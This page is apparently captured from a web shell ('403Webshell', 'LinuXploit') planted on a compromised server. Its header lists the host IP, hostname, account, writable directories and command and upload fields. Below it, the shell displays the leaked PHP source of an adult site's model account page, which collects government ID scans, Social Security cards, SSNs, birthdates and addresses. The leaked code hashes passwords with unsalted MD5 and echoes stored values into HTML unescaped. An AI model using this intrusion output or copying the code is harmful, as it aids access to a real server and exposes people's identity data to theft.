403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/model_admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/model_admin/model-account.php
<?php
	include("../config.php");

	include("auth.php");
	include("model-header.php");

// $is_admin = FALSE;

	$msgSystem = "";

	if (isset($_SESSION['model_id'])) {

		$sth = $dbh->prepare("SELECT * FROM `cms_members` WHERE model_id=?");
		$sth->execute(array($_SESSION['model_id']));
		$userinfo = $sth->fetch(PDO::FETCH_OBJ);

	} elseif (isset($_SESSION['email']) && isset($_SESSION['password'])) {

		$sth = $dbh->prepare("SELECT * FROM `cms_members` WHERE email=? AND password=?");
		$sth->execute(array($_SESSION['email'],$_SESSION['password']));
		$userinfo = $sth->fetch(PDO::FETCH_OBJ);

	}

	if (isset($userinfo->model_id) && $userinfo->model_id > 0) {

		$sth = $dbh->prepare("SELECT * FROM `cms_models` WHERE `model_id` =?");
		$sth->execute(array($userinfo->model_id));
		$model_info = $sth->fetch(PDO::FETCH_OBJ);

	}

	if (isset($model_info->legalbirthday)) {

		$legalbirthdayExploded = explode("-", $model_info->legalbirthday);

		$model_info->legalbirthyear = $legalbirthdayExploded[0];
		$model_info->legalbirthmonth = $legalbirthdayExploded[1];
		$model_info->legalbirthday = $legalbirthdayExploded[2];

	}

	if (isset($model_info->id_expiration)) {

		$id_expirationExploded = explode("-", $model_info->id_expiration);

		$model_info->idexpirationyear = $id_expirationExploded[0];
		$model_info->idexpirationmonth = $id_expirationExploded[1];
		$model_info->id_expiration = $id_expirationExploded[2];

	}

	if (!$is_admin && !isset($userinfo->member_id)) {
		echo '<div class="row"><div class="large-12 columns">' . msgSystem("You must be logged in.", "error") . '</div></div>'; 
		exit;
	}

	$accountList = array(
		"pay_to",
		"addr_street",
		"address_2",
		"addr_city",
		"addr_state",
		"addr_zip",
		"addr_country",
		"tax_id",
		"phone_number",
		"display_name",
		"firstname",
		"lastname",
		"email",
		"flag_private_messages",
		"flag_email_notifications",
	);

	$modelinfoList = array(
		"legal_first_name",
		"legal_middle_name",
		"legal_last_name",
		"legalbirthday",
		"other_stage_names_1",
		"other_stage_names_2",
		"other_stage_names_3",
		"maiden_name",
		"previous_legal_name",
		"id_expiration",
	);

	if ($_SERVER['REQUEST_METHOD'] == 'POST') {

		if (isset($_POST['password_1']) && isset($_POST['password_2']) && $_POST['password_1'] != "") {

			if ($_POST['password_1'] == $_POST['password_2']) {

				$newpassword = md5($_POST['password_1']);

				$update_password_query = "UPDATE cms_members SET password = ? WHERE member_id = " . $userinfo->member_id;
				$update_password_sql = $dbh->prepare($update_password_query);
				$update_password_sql->execute(array($newpassword));

				$_SESSION['password'] = $newpassword;

				$msgSystem = msgSystem("Your Password has been changed.", "success");

			} else {
				$msgSystem .= msgSystem("Those passwords did not match.", "error");
			}

		}

		if (isset($_POST['email']) && $_POST['email'] != "" && $_POST['email'] != $_SESSION['email']) {

			$cleanEmail = filter_var($_POST['email'], FILTER_SANITIZE_STRING);

			$emailpattern = '/^([a-zA-Z0-9_\-\.]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$/';

			if (preg_match($emailpattern, $cleanEmail)) {

				$_POST['email'] = $cleanEmail;
				$_SESSION['email'] = $cleanEmail;

			} else {

				$_POST['email'] = "";
				$msgSystem .= msgSystem("That doesn't seem to be a properly formatted email address.", "error");

			}

		}

		if (isset($msgSystem) && $msgSystem == "") {

			foreach ($accountList as $accountOption) {

				if ($accountOption == "flag_private_messages") {
					if (isset($_POST[$accountOption]) && $_POST[$accountOption] == 'on') {
						$_POST[$accountOption] = 1;
					} else {
						$_POST[$accountOption] = 0;
					}
				}

				if ($accountOption == "flag_email_notifications") {
					if (isset($_POST[$accountOption]) && $_POST[$accountOption] == 'on') {
						$_POST[$accountOption] = 1;
					} else {
						$_POST[$accountOption] = 0;
					}
				}

				if (isset($_POST[$accountOption]) && $_POST[$accountOption] != $userinfo->$accountOption) {

					$update_sql = "UPDATE cms_members SET " . $accountOption . " = ? WHERE member_id = " . $userinfo->member_id;
					$q = $dbh->prepare($update_sql);
					$q->execute(array($_POST[$accountOption]));

					$userinfo->$accountOption = $_POST[$accountOption];

					$msgSystem = msgSystem("Your info has been updated.", "success");

				}
			}

			foreach ($modelinfoList as $modelinfoOption) {

				if ($modelinfoOption == "id_expiration") {

					if (isset($_POST['id_expiration']) && $_POST['id_expiration'] != "" && isset($_POST['idexpirationmonth']) && $_POST['idexpirationmonth'] != "" && isset($_POST['idexpirationyear']) && $_POST['idexpirationyear'] != "") {

						$passalong = $_POST['id_expiration'];
						$_POST['id_expiration'] = $_POST['idexpirationyear'] . "-" . $_POST['idexpirationmonth'] . "-" . $_POST['id_expiration'];

					}
				}

				if ($modelinfoOption == "legalbirthday") {

					if (isset($_POST['legalbirthday']) && $_POST['legalbirthday'] != "" && isset($_POST['legalbirthmonth']) && $_POST['legalbirthmonth'] != "" && isset($_POST['legalbirthyear']) && $_POST['legalbirthyear'] != "") {

						$passalong = $_POST['legalbirthday'];
						$_POST['legalbirthday'] = $_POST['legalbirthyear'] . "-" . $_POST['legalbirthmonth'] . "-" . $_POST['legalbirthday'];

					}
				}

				if (isset($_POST[$modelinfoOption]) && isset($model_info->$modelinfoOption) && $_POST[$modelinfoOption] != $model_info->$modelinfoOption) {

					$update_sql = "UPDATE cms_models SET " . $modelinfoOption . " = ? WHERE model_id = " . $model_info->model_id;

					$q = $dbh->prepare($update_sql);
					$q->execute(array($_POST[$modelinfoOption]));

					if (($modelinfoOption == "id_expiration" || $modelinfoOption == "legalbirthday") && isset($passalong)) {
						$_POST[$modelinfoOption] = $passalong;
					}

					$model_info->$modelinfoOption = $_POST[$modelinfoOption];

					$msgSystem = msgSystem("Your info has been updated.", "success");

				}
			}

		}
	}

	if (isset($_FILES) && isset($model_info->name) && $model_info->name != "") {

		if (isset($_FILES['id1']) && $_FILES['id1']['tmp_name'] != "") {
			$msgSystem .= uploadsecureImage('id1', $model_info->name);
		}

		if (isset($_FILES['id2']) && $_FILES['id2']['tmp_name'] != "") {
			$msgSystem .= uploadsecureImage('id2', $model_info->name);
		}

		if (isset($_FILES['face-id']) && $_FILES['face-id']['tmp_name'] != "") {
			$msgSystem .= uploadsecureImage('face-id', $model_info->name);
		}

	}

	if (isset($_GET['remove']) && ($_GET['remove'] == "id1" || $_GET['remove'] == "id2" || $_GET['remove'] == "face-id") && isset($model_info->name) && $model_info->name != "") {

		$msgSystem .= removesecureImage($_GET['remove'], $model_info->name);

	}

?>
<form action="model-account.php" method="POST" enctype="multipart/form-data">
<div class="row">
    <div class="large-12 columns">
		<?php
			if (isset($msgSystem) && $msgSystem != "") {

				echo $msgSystem;

			}
		?>
		<div class="panel">
			<h4>Private Account Details</h4>
			<div class="row">
				<div class="large-6 columns">
  <div class="row">
    <div class="large-4 columns">
      <label>Legal First Name
        <input type="text" name="legal_first_name" placeholder="" value="<?php echo (isset($model_info->legal_first_name) ? $model_info->legal_first_name : ""); ?>" />
      </label>
    </div>
    <div class="large-4 columns">
      <label>Legal Middle Name
        <input type="text" name="legal_middle_name" placeholder="" value="<?php echo (isset($model_info->legal_middle_name) ? $model_info->legal_middle_name : ""); ?>" />
      </label>
    </div>
    <div class="large-4 columns">
      <label>Legal Last Name
        <input type="text" name="legal_last_name" placeholder="" value="<?php echo (isset($model_info->legal_last_name) ? $model_info->legal_last_name : ""); ?>" />
      </label>
    </div>
  </div>
  <div class="row">
    <div class="large-12 columns">
      <label>Date of Birth</label>
    </div>
    <div class="large-4 columns">
      <label>Month</label>
	<select name="legalbirthmonth">
		<option></option>
		<option value="01" <?php echo (isset($model_info->legalbirthmonth) && $model_info->legalbirthmonth == "01" ? "selected" : ""); ?>>January</option>
		<option value="02" <?php echo (isset($model_info->legalbirthmonth) && $model_info->legalbirthmonth == "02" ? "selected" : ""); ?>>February</option>
		<option value="03" <?php echo (isset($model_info->legalbirthmonth) && $model_info->legalbirthmonth == "03" ? "selected" : ""); ?>>March</option>
		<option value="04" <?php echo (isset($model_info->legalbirthmonth) && $model_info->legalbirthmonth == "04" ? "selected" : ""); ?>>April</option>
		<option value="05" <?php echo (isset($model_info->legalbirthmonth) && $model_info->legalbirthmonth == "05" ? "selected" : ""); ?>>May</option>
		<option value="06" <?php echo (isset($model_info->legalbirthmonth) && $model_info->legalbirthmonth == "06" ? "selected" : ""); ?>>June</option>
		<option value="07" <?php echo (isset($model_info->legalbirthmonth) && $model_info->legalbirthmonth == "07" ? "selected" : ""); ?>>July</option>
		<option value="08" <?php echo (isset($model_info->legalbirthmonth) && $model_info->legalbirthmonth == "08" ? "selected" : ""); ?>>August</option>
		<option value="09" <?php echo (isset($model_info->legalbirthmonth) && $model_info->legalbirthmonth == "09" ? "selected" : ""); ?>>September</option>
		<option value="10" <?php echo (isset($model_info->legalbirthmonth) && $model_info->legalbirthmonth == "10" ? "selected" : ""); ?>>October</option>
		<option value="11" <?php echo (isset($model_info->legalbirthmonth) && $model_info->legalbirthmonth == "11" ? "selected" : ""); ?>>November</option>
		<option value="12" <?php echo (isset($model_info->legalbirthmonth) && $model_info->legalbirthmonth == "12" ? "selected" : ""); ?>>December</option>
	</select>
    </div>
    <div class="large-4 columns">
      <label>Day</label>
	<select name="legalbirthday">
		<option></option>
		<?php

			$dayCounter = 1;

			while ($dayCounter < 32) {

				if ($dayCounter < 10) {
					$formattedDay = "0" . $dayCounter;
				} else {
					$formattedDay = $dayCounter;
				}

				echo '<option value="' . $formattedDay . '"' . (isset($model_info->legalbirthday) && $model_info->legalbirthday == $formattedDay ? " selected" : "") . '>' . $dayCounter . '</option>';

				$dayCounter++;

			}
		?>
	</select>
    </div>
    <div class="large-4 columns">
      <label>Year</label>
	<select name="legalbirthyear">
		<option></option>
		<?php

			$yearCounter = date("Y") - 18;
			$yearEnd = date("Y") - 39;

			while ($yearCounter >= $yearEnd) {

				echo '<option value="' . $yearCounter . '"' . (isset($model_info->legalbirthyear) && $model_info->legalbirthyear == $yearCounter ? " selected" : "") . '>' . $yearCounter . '</option>';

				$yearCounter--;

			}
		?>
	</select>
    </div>
  </div>
  <div class="row">
    <div class="large-12 columns">
	<div style="font-size: 22px; margin-bottom: 10px;">Attach Proof of Identification</div>
	<div style="font-size: 14px; margin-bottom: 10px;">Primary identification document must be government issued passport, driver's license, motor vehicle department ID,  or military ID:</div>
    </div>
    <div class="large-12 columns">
	<label style="color: black; font-weight: bold;">(1) First Form of Identification</label>
	<div class="large-6 columns" style="margin-top: 10px; margin-bottom: 10px; padding-left: 0px;">
	<?php

		if (isset($model_info->name) && $model_info->name != "" && is_file('../../../content/IDs/' . str_replace(" ", "-", $model_info->name) . '-id1.jpg')) {
			$id1 = str_replace(" ", "-", $model_info->name) . '-id1.jpg';
		}

		if (isset($id1)) {
			if ($is_admin) {
				echo '<img src="../view_secure.php?content=' . $id1 . '" style=" width: 200px;">';
			} else {
				echo '<div style="color: green;">File is on record.</div>';
			}
		} else {
			echo '<div style="color: red;">No file on record.</div>';
		}
	?>
	</div>
	<div class="large-6 columns" style="margin-top: 10px; margin-bottom: 10px;">
		<?php
			if (isset($id1)) {
				echo '<a href="model-account.php?remove=id1" class="msgErr" style="padding: 5px; color: #fff; font-size: 14px; border-radius: 2px;">remove</a><br /><br />';
			}
		?>	
		<input type="file" name="id1" />
	</div>
    </div>
    <div class="large-12 columns">
      <label>Expiration Date:</label>
    </div>
    <div class="large-4 columns">
      <label>Month</label>
	<select name="idexpirationmonth" id="idexpirationmonth">
		<option></option>
		<option value="01" <?php echo (isset($model_info->idexpirationmonth) && $model_info->idexpirationmonth == "01" ? "selected" : ""); ?>>January</option>
		<option value="02" <?php echo (isset($model_info->idexpirationmonth) && $model_info->idexpirationmonth == "02" ? "selected" : ""); ?>>February</option>
		<option value="03" <?php echo (isset($model_info->idexpirationmonth) && $model_info->idexpirationmonth == "03" ? "selected" : ""); ?>>March</option>
		<option value="04" <?php echo (isset($model_info->idexpirationmonth) && $model_info->idexpirationmonth == "04" ? "selected" : ""); ?>>April</option>
		<option value="05" <?php echo (isset($model_info->idexpirationmonth) && $model_info->idexpirationmonth == "05" ? "selected" : ""); ?>>May</option>
		<option value="06" <?php echo (isset($model_info->idexpirationmonth) && $model_info->idexpirationmonth == "06" ? "selected" : ""); ?>>June</option>
		<option value="07" <?php echo (isset($model_info->idexpirationmonth) && $model_info->idexpirationmonth == "07" ? "selected" : ""); ?>>July</option>
		<option value="08" <?php echo (isset($model_info->idexpirationmonth) && $model_info->idexpirationmonth == "08" ? "selected" : ""); ?>>August</option>
		<option value="09" <?php echo (isset($model_info->idexpirationmonth) && $model_info->idexpirationmonth == "09" ? "selected" : ""); ?>>September</option>
		<option value="10" <?php echo (isset($model_info->idexpirationmonth) && $model_info->idexpirationmonth == "10" ? "selected" : ""); ?>>October</option>
		<option value="11" <?php echo (isset($model_info->idexpirationmonth) && $model_info->idexpirationmonth == "11" ? "selected" : ""); ?>>November</option>
		<option value="12" <?php echo (isset($model_info->idexpirationmonth) && $model_info->idexpirationmonth == "12" ? "selected" : ""); ?>>December</option>
	</select>
    </div>
    <div class="large-4 columns">
      <label>Day</label>
	<select name="id_expiration" id="id_expiration">
		<option></option>
		<?php

			$dayCounter = 1;

			while ($dayCounter < 32) {

				if ($dayCounter < 10) {
					$formattedDay = "0" . $dayCounter;
				} else {
					$formattedDay = $dayCounter;
				}

				echo '<option value="' . $formattedDay . '"' . (isset($model_info->id_expiration) && $model_info->id_expiration == $formattedDay ? " selected" : "") . '>' . $dayCounter . '</option>';

				$dayCounter++;

			}
		?>
	</select>
    </div>
    <div class="large-4 columns">
      <label>Year</label>
	<select name="idexpirationyear" id="idexpirationyear">
		<option></option>
		<?php

			$yearCounter = date("Y");
			$yearEnd = date("Y") + 20;

			while ($yearCounter <= $yearEnd) {

				echo '<option value="' . $yearCounter . '"' . (isset($model_info->idexpirationyear) && $model_info->idexpirationyear == $yearCounter ? " selected" : "") . '>' . $yearCounter . '</option>';

				$yearCounter++;

			}
		?>
	</select>
	<script type="text/javascript">
	<!--

		$(document).ready(function() {

		$('body').on('change', '#idexpirationmonth, #id_expiration, #idexpirationyear', function () {

			var idexpirationmonth = $('#idexpirationmonth').val();
			var id_expiration = $('#id_expiration').val();
			var idexpirationyear = $('#idexpirationyear').val();

			if (idexpirationmonth > 0 && id_expiration > 0 && idexpirationyear > 0) {

				var expiration = new Date(idexpirationmonth + '/' + id_expiration + '/' + idexpirationyear + ' 12:00:00'); 
		                var today = new Date(); 
		                var timediff = expiration - today; 

				if (timediff < 15724800000) {
					alert('That ID might be expiring too soon to be allowed. Please contact an Admin for further instruction.');
				}

			}
		});

		});

	// -->
	</script>
    </div>
  </div>
  <div class="row">
    <div class="large-12 columns">
	<label style="color: black; font-weight: bold;">(2) Second Form of Identification (Social Security Card)</label>
	<div class="large-6 columns" style="margin-top: 10px; margin-bottom: 10px; padding-left: 0px;">
	<?php
		if (isset($model_info->name) &&  $model_info->name != "" && is_file('../../../content/IDs/' . str_replace(" ", "-", $model_info->name) . '-id2.jpg')) {
			$id2 = str_replace(" ", "-", $model_info->name) . '-id2.jpg';
		}

		if (isset($id2)) {
			if ($is_admin) {
				echo '<img src="../view_secure.php?content=' . $id2 . '" style=" width: 200px;">';
			} else {
				echo '<div style="color: green;">File is on record.</div>';
			}
		} else {
			echo '<div style="color: red;">No file on record.</div>';
		}
	?>
	</div>
	<div class="large-6 columns" style="margin-top: 10px; margin-bottom: 10px;">
		<?php
			if (isset($id2)) {
				echo '<a href="model-account.php?remove=id2" class="msgErr" style="padding: 5px; color: #fff; font-size: 14px; border-radius: 2px;">remove</a><br /><br />';
			}
		?>	
		<input type="file" name="id2" />
	</div>
    </div>
    <div class="large-6 columns">
      <label>SSN or Tax ID
        <input type="text" name="tax_id" placeholder="To be used on 1099" value="<?php echo (isset($userinfo->tax_id) ? $userinfo->tax_id : ""); ?>" />
      </label>
    </div>
    <div class="large-8 columns">
      &nbsp;
    </div>
  </div>
  <div class="row">
    <div class="large-12 columns">
	<label style="color: black; font-weight: bold;">(3) Photo holding both id's next to your face</label>
	<div class="large-6 columns" style="margin-top: 10px; margin-bottom: 10px; padding-left: 0px;">
	<?php

		if (isset($model_info->name) && $model_info->name != "" && is_file('../../../content/IDs/' . str_replace(" ", "-", $model_info->name) . '-face-id.jpg')) {
			$face_id = str_replace(" ", "-", $model_info->name) . '-face-id.jpg';
		}

		if (isset($face_id)) {
			if ($is_admin) {
				echo '<img src="../view_secure.php?content=' . $face_id . '" style=" width: 200px;">';
			} else {
				echo '<div style="color: green;">File is on record.</div>';
			}
		} else {
			echo '<div style="color: red;">No file on record.</div>';
		}
	?>
	</div>
	<div class="large-6 columns" style="margin-top: 10px; margin-bottom: 10px;">
		<?php
			if (isset($face_id)) {
				echo '<a href="model-account.php?remove=face-id" class="msgErr" style="padding: 5px; color: #fff; font-size: 14px; border-radius: 2px;">remove</a><br /><br />';
			}
		?>
		<input type="file" name="face-id" />
	</div>
    </div>
  </div>
				</div>
				<div class="large-6 columns">
  <div class="row">
    <div class="large-12 columns">
      <label>Pay To
        <input type="text" name="pay_to" placeholder="Who we make the check out to" value="<?php if (isset($userinfo->pay_to)) { echo $userinfo->pay_to; } elseif (isset($userinfo->firstname) && isset($userinfo->lastname)) { echo $userinfo->firstname . " " . $userinfo->lastname; } ?>" />
      </label>
    </div>
  </div>
  <div class="row">
    <div class="large-6 columns">
      <label>Street Address
        <input type="text" name="addr_street" placeholder="Street address" value="<?php echo (isset($userinfo->addr_street) ? $userinfo->addr_street : ""); ?>" />
      </label>
    </div>
    <div class="large-6 columns">
      <label>Apartment/Building #
        <input type="text" name="address_2" placeholder="Apartment #" value="<?php echo (isset($userinfo->address_2) ? $userinfo->address_2 : ""); ?>" />
      </label>
    </div>
  </div>
  <div class="row">
    <div class="large-4 columns">
      <label>City
        <input type="text" name="addr_city" placeholder="" value="<?php echo (isset($userinfo->addr_city) ? $userinfo->addr_city : ""); ?>" />
      </label>
    </div>
    <div class="large-4 columns">
      <label>State
        <input type="text" name="addr_state" placeholder="" value="<?php echo (isset($userinfo->addr_state) ? $userinfo->addr_state : ""); ?>" />
      </label>
    </div>
    <div class="large-4 columns">
      <label>Zip
        <input type="text" name="addr_zip" placeholder="" value="<?php echo (isset($userinfo->addr_zip) ? $userinfo->addr_zip : ""); ?>" />
      </label>
    </div>
  </div>
  <div class="row">
    <div class="large-4 columns">
	&nbsp;
    </div>
    <div class="large-4 columns">
      <label>Phone
        <input type="text" name="phone_number" placeholder="" value="<?php echo (isset($userinfo->phone_number) ? $userinfo->phone_number : ""); ?>" />
      </label>
    </div>
    <div class="large-4 columns">
      <label>Country
        <input type="text" name="addr_country" placeholder="" value="<?php echo (isset($userinfo->addr_country) ? $userinfo->addr_country : ""); ?>" />
      </label>
    </div>
  </div>
  <div class="row">
    <div class="large-12 columns">
      <label>All other stage names
        <input type="text" name="other_stage_names_1" placeholder="" value="<?php echo (isset($model_info->other_stage_names_1) ? $model_info->other_stage_names_1 : ""); ?>" />
        <input type="text" name="other_stage_names_2" placeholder="" value="<?php echo (isset($model_info->other_stage_names_2) ? $model_info->other_stage_names_2 : ""); ?>" />
        <input type="text" name="other_stage_names_3" placeholder="" value="<?php echo (isset($model_info->other_stage_names_3) ? $model_info->other_stage_names_3 : ""); ?>" />
      </label>
    </div>
  </div>
  <div class="row">
    <div class="large-12 columns">
      <label>Maiden Name (if applicable)
        <input type="text" name="maiden_name" placeholder="" value="<?php echo (isset($model_info->maiden_name) ? $model_info->maiden_name : ""); ?>" />
      </label>
    </div>
  </div>
  <div class="row">
    <div class="large-12 columns">
      <label>Previous Legal Name (if applicable)
        <input type="text" name="previous_legal_name" placeholder="" value="<?php echo (isset($model_info->previous_legal_name) ? $model_info->previous_legal_name : ""); ?>" />
      </label>
    </div>
  </div>
				</div>
			</div>
			<div class="row">
				<div class="large-12 columns" style="text-align: right">
					<input type="submit" value="Update Private Details" class="button" />
				</div>
			</div>
		</div>
      <div class="panel">
        <h4>Account Details</h4>
        <div class="row">
          <div class="large-6 columns">
</form>
<form action="model-account.php" method="POST">
<input type="hidden" name="step" value="1">
  <div class="row">
    <div class="large-12 columns">
      <label>Display name
        <input type="text" name="display_name" placeholder="Name used on this website" value="<?php echo (isset($userinfo->display_name) ? $userinfo->display_name : ""); ?>" />
      </label>
    </div>
  </div>
  <div class="row">
    <div class="large-6 columns">
      <label>First Name
        <input type="text" name="firstname" placeholder="Seen only by admin" value="<?php echo (isset($userinfo->firstname) ? $userinfo->firstname : ""); ?>" />
      </label>
    </div>
    <div class="large-6 columns">
      <label>Last Name
        <input type="text" name="lastname" placeholder="Seen only by admin" value="<?php echo (isset($userinfo->lastname) ? $userinfo->lastname : ""); ?>" />
      </label>
    </div>
  </div>
  <div class="row">
    <div class="large-6 columns">
      <label>Change Password
        <input type="password" name="password_1" placeholder="" />
      </label>
    </div>
    <div class="large-6 columns">
      <label>Confirm New Password
        <input type="password" name="password_2" placeholder="" />
      </label>
    </div>
  </div>
  <div class="row">
    <div class="large-12 columns">
      <label>Email
        <input type="text" name="email" placeholder="Used for communication with site admin" value="<?php echo (isset($userinfo->email) ? $userinfo->email : ""); ?>" />
      </label>
    </div>
  </div>
			</div>

			<div class="large-6 columns">
				<div class="row">
					<div class="large-12 columns">
						<label>Private Messages
							<br /><br /><input type="checkbox" name="flag_private_messages"<?php echo (isset($userinfo->flag_private_messages) && $userinfo->flag_private_messages == 1 ? " checked" : ""); ?>><span style="font-size: 14px; font-weight: bold; margin-left: 8px;">Enable Private Messages<div style="font-size: 12px; margin-left: 22px; margin-bottom: 20px;">Disabling Private Messaages prevents you from sending or receiving messages to/from other users and models.</div>
							<input type="checkbox" name="flag_email_notifications"<?php echo (isset($userinfo->flag_email_notifications) && $userinfo->flag_email_notifications == 1 ? " checked" : ""); ?>><span style="font-size: 14px; font-weight: bold; margin-left: 8px;">Receive Email Notifications</span><div style="font-size: 12px; margin-left: 22px; ">Disabling Email Notifications will prevent you from recieving any notifications or alerts via email. They will only appear when you login to the site.</div>
						</label>
					</div>
				</div>
			</div>
        </div>
  <div class="row">
    <div class="large-12 columns" style="text-align: right">
        <input type="submit" value="Update Account Details" class="button" />
    </div>
  </div>
</form>
      </div>
    </div>
  </div>

<?php
	include("footer.php");

Youez - 2016 - github.com/yon3zu
LinuXploit